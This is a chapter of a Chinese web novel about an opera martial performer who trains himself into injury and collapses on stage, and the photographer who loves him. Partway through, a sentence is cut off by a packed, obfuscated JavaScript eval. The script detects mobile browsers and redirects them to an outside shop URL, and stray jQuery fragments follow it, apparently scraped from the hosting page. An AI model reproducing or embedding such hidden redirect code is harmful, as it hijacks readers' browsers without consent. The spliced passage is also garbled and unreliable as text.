38.导演的手好软

作品:《川潮

    省青年汇演前一周,李霄川整个人就跟人间蒸发似的,动不动就找不着人影。


    那天下午,陈声和正猫在戏曲社仓库里收拾那些积了灰的胶片。


    空气里全是霉味儿,呛得人鼻子痒。


    他正翻着呢,手指突然碰着个冰凉梆硬的东西,拿出来一看,是面铜镜。背面刻着“川流不息”四个小字,镜框边上还留着道具组划拉过的痕迹,糙得很。


    这不就是上月李霄川排《镜花缘》时候捣鼓出来的道具吗?


    “陈声和?”门口探进来个脑袋,是张远。他搓着手,一副有话憋着说不出的模样,连铜镜里照出来的影子都显得犹犹豫豫的,“那什么……李霄川在练功房……你最好别往那儿凑。”


    陈声和满脑子问号地摸到练功房,果然看见几个低年级的学妹扒在气窗那儿偷看。刚走近,就听见里头“砰”的一声闷响,震得人心口发慌。


    他凑到玻璃前一看,李霄川正玩命地练倒扎虎。


    起跳、翻身、砸垫子,一遍又一遍。


    脖子上那块和田玉平安扣,是去年陈声和特意从老家给他捎来的,这会儿跟着动作往垫子上磕,听得人心里直抽抽。


    “从早上折腾到现在,绷带都干废两条了。”社长的声音突然从背后冒出来,一把按住他要推门的手,“他师父昨儿来看过,说再这么练,不等上台人就散架了。”


    陈声和眯着眼从门缝往里瞅,李霄川后肩那片白练功服上,已经晕开了红痕,跟雪地里落了梅花似的。


    他忽然想起文殊院那个居士摇头叹气的样子:“执念太深,折福份啊。”


    晚上大概十点来钟,宿舍楼下突然有人扯着嗓子喊他。


    李霄川杵在银杏树底下,右手拎着个印“潮汕老字号”的塑料袋,左边肩膀明显塌下去一截。


    “正宗的牛肉丸,我托我姑朋友空运来的。”他故作轻松地转了个花枪,塑料袋哗啦啦直响,“整点?”


    陈声和抿着嘴没搭腔。


    李霄川讪讪地扯了扯他衣角:“莫生气咯乖乖,嗯?”


    陈声和猛地转身就往楼上冲,楼梯踩得咚咚响。他怕再慢一步,就要让李霄川看见自己红了的眼眶。


    这人永远这样。


    认错时乖得像只猫,什么好听话都往外掏。等到了练功房,又把他师父那些话当圣旨,恨不得把命都搭进去。


    明明才二十出头,浑身上下已经找不出一块好地方,往后这身子骨可怎么扛得住……


    李霄川看着那噔噔上楼的背影,心里比摔在垫子上还疼。


    他何尝不知道陈声和难受,每次小广仔眼圈一红,他胸口就跟挨了几棍子似的。


    宿舍里不锈钢一体锅咕嘟咕嘟冒着泡,牛肉丸在滚水里翻腾跳跃。


    “我师父是省川剧院活武松。”李霄川筷子尖戳着丸子,忽然说,“他说我眼神太软,像……像……”


    “像你们潮汕的粿条。”


    李霄川故意学广东口音,却看见陈声和盯着他左肩,血痂黏住了棉质T恤。


    “……别生气了。”他伸手想去勾陈声和的手指,被对方啪地拍开。


    陈声和闷不吭声拎来医药箱,酒精棉往伤口上一按,动作熟练得像医院护士。


    说来也挺可笑,这位少爷在家连洗碗布都没摸过,现在倒好,天天给李霄川当专属护工。


    酒精渗进皮肉那刻,李霄川疼得后背弓成虾米,硬是把哼唧声咽回肚子里。要搁平时早“乖乖好痛哦~”喊八百遍了,今天没敢吱声。


    陈声和仔细看了看,这才发现,这根本不是新伤,而是旧痂反复撕裂后形成的沟壑纵横的疤痕组织。


    “扑领母……”陈声和突然用潮汕话低声骂了一句。


    李霄川脖子一缩,显然听懂了。毕竟去年寒假他吭哧吭哧啃完那本《潮汕方言脏话大全》,就为破译陈声和剪片子崩溃时的自言自语。


    他是个武生,避免不了磕磕碰碰,让他保证不挂彩,不如让珠江倒流。可这话他不敢跟他的小广仔说。


    要让他放弃,李霄川根本没考虑过。


    他舍不得,这行当多好啊,往脸上抹了油彩,喜怒哀乐都藏在后面。面具戴惯了,反倒比真脸更自在。


    “陈声和。”李霄川声音低低的,“要是汇演搞砸了……”


    咚咚咚~


    话音被敲门声打断,张远探进半个身子:“声和,你妈电话追到宿管处了……”眼神瞟过李霄川时卡了下壳,“说急事,让你立刻回电。”


    李霄川拍了拍他的手背:“先去回电话吧。”


    陈声和不理他,把伤口处理完才拿着手机出去了。


    电话接通,那头背景音嘈杂,母亲用潮汕话给保姆说话:“……寿宴请柬加印三十份,黄家单独做烫金版。”


    还有点钞机哗啦啦响,随后才给他说话:“下月你大伯六十大寿,国外那几个堂兄妹都回来……”


    陈声和靠着墙壁,默默听着。


    推门回宿舍时,李霄川正抱着他的马克杯灌药酒,满屋辛辣。


    书桌上摊着本岭南民俗图鉴停在婚嫁那页,红绸带书签压着纳吉二字。


    这是昨天拍作业留下的战场,宿舍里三个不同地方的人差点为这事儿没吵起来,后来书也就忘收了。


    桌上的牛肉丸已经凉了,汤里浮着一层凝固的牛油,而两人谁都没提那个电话。


    ……


    汇演当天飘着细雨,潮湿的空气里还混合着化妆间的发胶味和油彩的苦香。


    陈声和靠在后台走廊斑驳的墙砖上,看着化妆师用一支秃了毛的狼毫笔蘸着朱砂,给李霄川勾画脸谱。


    朱砂笔正划过他眉骨,在皮肤上拖出一道猩红的弧线。李霄川看着镜子里陈声和:“这妆要是卸不掉怎么办?”


    陈声和自然接话:“那就戴着过一辈子。”话一出口就哽住了喉头。


    化妆师扑哧笑出声,用棉签修补着李霄川眼尾的纹路:“那可不行,李老师女朋友该认不出来了。”


    李霄川的目光在镜子里死死盯住陈声和,后者却偏头去看窗外被雨打湿的海报,水渍正沿着《挑滑车》的剧名慢慢晕开。


    候场时陈声和蹲在侧幕条边,相机镜头捕捉着台上演员翻飞的靠旗。


    取景框里,李霄川本来背对着,忽然一个转身,汗把鬓角沾在勾了金粉的脸边上,嘴唇一动,没出声。


    但陈声和看得清清楚楚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005879|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,他说的是:“看我。”


    就为了这一句“看我”,为了在评审面前搏一把,李霄川在高宠挑车那段戏,硬是临时加了个云里翻接劈叉。


    陈声和的心一下子提到了嗓子眼,看着取景器里那人腾空而起,靠旗在顶光里甩的利落又疯。


    落地时那一下趔趄,陈声和看得比谁都清楚。膝盖软了,可他硬是撑着把那句“看前面黑洞洞”唱完了,直到高腔在某个音节上突然就断了。


    陈声和是第一个冲过去的。


    什么省剧团,什么打分,什么一辈子保障,在那一刻全都碎了。他只听见李霄川摔下来时那声闷响,看见道具车翻倒,扬起的灰尘都带着绝望。


    陈声和跪在一地散落的刀枪把子中间,手抖得不行,还是把那个平安符迅速塞进了他湿透的戏服里袋。


    李霄川一边咳,血沫子就从嘴角往外冒,可他居然还在笑,油彩和血丝糊了一片:“你们潮汕人……不是常说……符不能沾血吗……”


    陈声和眼圈红了,别开脸没接话。


    这次汇演,李霄川看重,对整个剧社都至关重要。演出是要打分的,分数高的,就有机会被省剧团选上。


    进了省团,不止是前途光明,更是一辈子的保障,连退休都能安安稳稳。


    医院走廊里,消毒水味儿冲得人头晕。陈声和觉得,自从认识李霄川之后,他来医院的次数都快赶上回家了。


    他呆站在手术室门口,盯着门上那个红灯一闪一闪,手指在口袋里摸到一颗糖。


    李霄川上台前硬塞给他的枇杷糖,这会儿糖纸都被他捂软了。以为吃颗糖就不生气了,其实现在更生气了。


    糖纸窸窸窣窣的声音,把角落里一个身影惊动了。一个穿着中山装、拄拐杖的老爷子慢慢走过来:“你就是那个广东仔?”


    陈声和眯眼看了半天,才认出是李霄川的师父,宋老师。


    “霄川说,他这伤是你治好的。”拐杖头突然抵上陈声和的胸口,实木的,硌得他生疼,“可他没跟我说……你才是他真正的病根。”


    陈声和嘴唇动了动,一个字也说不出来。


    手术灯灭的时候,宋老师已经不见了。护士递过来一个染血的平安符:“他一直紧紧攥着。”


    黄纸被血浸透了大半,对着光,能看见背面晕开的字迹:怕什么戏假情真,要的就是这疯魔劲。


    陈声和把符紧紧攥进手心。


    李霄川被推出来时还没醒。


    值班护士又递过来一块碎玉:“也是从他手里拿出来的,可惜了,上好的和田玉。”


    陈声和拿棉签蘸着生理盐水,一点点擦他手心里的血,轻声说:“不可惜。”


    潮汕人都信,玉碎了,是替人挡了灾。他默念着,指甲不知不觉掐进了自己的掌心。


    窗外的雨不知什么时候停了。


    夕阳穿过纱窗,一道一道打在李霄川脸上。他眼皮轻轻动了动,麻药劲儿还没完全过,声音糊糊的:“说好的……牛肉丸……还没吃呢……”


    陈声和俯下身,闻到他身上熟悉的药酒味,还有不太明显的血腥气。


    有一滴泪砸在他鼻梁上,很快被中央空调的冷风吹成一道凉痕。